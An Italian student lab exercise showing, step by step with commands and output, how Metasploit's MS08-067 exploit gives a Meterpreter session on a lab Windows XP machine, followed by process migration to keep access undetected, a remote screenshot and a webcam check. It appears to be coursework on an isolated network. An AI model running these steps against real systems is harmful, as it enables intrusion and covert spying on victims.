



Hacking Windows XP

Pablo Andres Balbuena Rios

Esercizio 3 Settimana 7

Oggi viene richiesto di ottenere una sessione di Meterpreter sul target Windows XP sfruttando con Metasploit la vulnerabilità MS08-067. Una volta ottenuta la sessione, si dovrà:

- Recuperare uno screenshot tramite la sessione Meterpreter.
- Individuare la presenza o meno di Webcam sulla macchina Windows XP (opzionale).

Scansione della Macchina Metasploitable2

- Prima di fare la scansione, si deve fare un Ping per vedere se c'è connessione tra le due macchine
- Poi attraverso Nmap, andiamo a vedere se vi sono vulnerabilità sulle porte aperte.

```
(kali㉿kali)-[~]  
$ ping 192.168.1.30  
PING 192.168.1.30 (192.168.1.30) 56(84) bytes of data.  
64 bytes from 192.168.1.30: icmp_seq=1 ttl=128 time=0.270 ms  
64 bytes from 192.168.1.30: icmp_seq=2 ttl=128 time=0.221 ms
```

```
(kali㉿kali)-[~]  
$ nmap -sV -vvv 192.168.1.30  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-24 06:31 EST  
NSE: Loaded 46 scripts for scanning.  
Initiating Ping Scan at 06:31  
Scanning 192.168.1.30 [2 ports]
```


Vulnerability ms08-067

- Attraverso Metasploit proviamo a cercare l'exploit "search ms08-067".
- Dopo averlo trovato, andiamo a settare le impostazioni, cioè rhosts attraverso il comando "set rhosts 192.168.1.30", e facciamo partire metasploit con "run".

```
msf6 > search ms08-067
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Relative Path Stack Corruption

```
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.1.30  
rhosts => 192.168.1.30
```

```
msf6 exploit(windows/smb/ms08_067_netapi) > run
```

```
[*] Started reverse TCP handler on 192.168.1.26:4444  
[*] 192.168.1.30:445 - Automatically detecting the target...  
[*] 192.168.1.30:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian  
[*] 192.168.1.30:445 - Selected Target: Windows XP SP3 Italian (NX)  
[*] 192.168.1.30:445 - Attempting to trigger the vulnerability...  
[*] Sending stage (175686 bytes) to 192.168.1.30  
[*] Meterpreter session 1 opened (192.168.1.26:4444 -> 192.168.1.30:1036) at 2024-01-24 06:35:16 -0500
```

Entrare in Windows

- Attraverso Metasploit entriamo a Windows con Meterpreter.
- La prima cosa da fare è il mantenimento, cioè, mantenere l'accesso non autorizzato o a sfruttare ulteriormente la presenza nel sistema senza essere rilevati.
- Fare il mantenimento dobbiamo aprire la lista dei file in esecuzione e traferirci in uno molto più importante.

```
meterpreter > ps
```

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]				
4	0	System	x86	0	NT AUTHORITY\SYSTEM	
520	4	smss.exe	x86	0	NT AUTHORITY\SYSTEM	\SystemRoot\System32\smss.exe
588	520	csrss.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\system32\csrss.exe
612	520	winlogon.exe	x86	0	NT AUTHORITY\SYSTEM	\??\C:\WINDOWS\system32\winlogon.exe
656	612	services.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\services.exe

```
meterpreter > migrate 1528
[*] Migrating from 1008 to 1528 ...
[*] Migration completed successfully.
meterpreter > use espia
Loading extension espia ... Success.
meterpreter > screengrab
Screenshot saved to: /home/kali/WyAitGob.jpeg
meterpreter > █
```

Screenshot e Webcam

- Prima di eseguire i comandi, dobbiamo eseguire la estensione "spia", attraverso il comando "use spia", che ci permettere di eseguire molti comandi.
- Attraverso il comando "screengrab", possiamo fare uno Screenshot alla finestra Desktop.
- Attraverso il comando "webcam_list", possiamo vedere tutte le webcam che sono disponibile nel pc bersaglio.



```
meterpreter > webcam_list  
[-] No webcams were found  
meterpreter > 
```